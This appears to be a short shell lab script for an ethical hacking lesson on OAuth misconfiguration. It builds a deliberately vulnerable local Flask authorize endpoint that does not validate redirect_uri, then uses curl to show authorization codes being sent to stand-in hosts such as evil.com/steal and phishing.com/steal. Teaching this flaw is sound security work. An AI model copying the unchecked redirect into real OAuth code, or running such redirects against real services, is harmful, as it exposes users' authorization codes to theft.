EH-23: OAuth Misconfiguration - SSO Exploitation

cd ~ && mkdir -p eth-l23 && cd eth-l23
cat > server.py << 'PYEOF'
from flask import Flask, request, redirect
import urllib.parse, secrets
app = Flask(__name__)
@app.route('/oauth/authorize')
def auth():
    uri = request.args.get('redirect_uri','')
    state = request.args.get('state','')
    code = secrets.token_hex(8)
    return redirect(f"{uri}?code={code}&state={state}")
app.run(port=9021)
PYEOF
python3 server.py &
sleep 1

echo "=== 1. Normal OAuth ==*"
curl -v "http://localhost:9021/oauth/authorize?client_id=app&redirect_uri=http://evil.com/steal&state=abc" 2>&1 | grep "location:"
echo ""
echo "=== 2. Open Redirect (redirect_uri not validated!) ==*"
echo "Attacker bisa ganti redirect_uri ke situs phising!"
echo "curl 'http://localhost:9021/oauth/authorize?client_id=app&redirect_uri=http://phishing.com/steal'"

kill %1 2>/dev/null